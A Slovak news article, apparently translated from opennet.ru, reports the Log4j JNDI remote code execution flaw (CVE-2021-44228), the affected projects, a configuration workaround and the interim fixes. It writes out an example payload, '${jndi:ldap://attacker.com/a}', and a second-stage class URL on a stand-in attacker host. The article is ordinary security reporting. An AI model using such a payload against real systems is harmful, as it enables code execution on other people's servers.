V Apache Log4j, populárnom logovacom frameworku pre Java aplikácie, bola objavená kritická zraniteľnosť, ktorá umožňuje spustenie ľubovoľného kódu pri zápise špeciálne vytvorenej hodnoty vo formáte „{jndi:URL}“ do logu. Útok môže byť vykonaný na Java aplikáciách, ktoré logujú hodnoty získané z externých zdrojov, napríklad pri zobrazovaní problematických hodnôt v chybových hláseniach.
Je potrebné poznamenať, že problém postihuje takmer všetky projekty používajúce frameworky ako Apache Struts, Apache Solr, Apache Druid alebo Apache Flink, vrátane klientov a serverov Steam, Apple iCloud a Minecraft. Očakáva sa, že táto zraniteľnosť povedie k vlne masívnych útokov na firemné aplikácie, čím sa zopakuje história kritických zraniteľností vo frameworku Apache Struts, ktorý sa odhaduje, že vo webových aplikáciách používa 65 % spoločností z rebríčka Fortune 100. Pokusy o skenovanie siete a vyhľadávanie zraniteľných systémov už boli zaznamenané.
Problém zhoršuje skutočnosť, že funkčný exploit už bol publikovaný, ale opravy pre stabilné vetvy ešte neboli sformulované. Identifikátor CVE ešte nebol priradený. Oprava je zahrnutá iba v testovacej vetve log4j-2.15.0-rc1. Ako riešenie sa odporúča nastaviť parameter log4j2.formatMsgNoLookups na hodnotu true.
Problém bol spôsobený podporou log4j pre spracovanie špeciálnych masiek "{}" v riadkoch protokolu, ktoré by sa mohli použiť na vykonávanie dotazov JNDI (Java Naming and Directory Interface). Útok sa redukuje na odovzdanie reťazca so substitúciou "${jndi:ldap://attacker.com/a}", ktorý po spracovaní log4j odošle. server Dotaz LDAP na attacker.com pre cestu k triede Java. Vrátené server Cesta útočníka (napr. http://second-stage.attacker.com/Exploit.class) sa načíta a vykoná v kontexte aktuálneho procesu, čo útočníkovi umožní spustiť ľubovoľný kód v systéme s oprávneniami aktuálnej aplikácie.
Dodatok 1: Zraniteľnosti bol priradený identifikátor CVE-2021-44228.
Aktualizácia 2: Bolo identifikované riešenie ochrany pridanej v log4j-2.15.0-rc1. Bola navrhnutá nová aktualizácia log4j-2.15.0-rc2 s komplexnejšou ochranou proti tejto zraniteľnosti. Zvýraznená je zmena kódu, ktorá zabraňuje zlyhaniam pri použití nesprávne formátovanej URL adresy JNDI.
Zdroj: opennet.ru
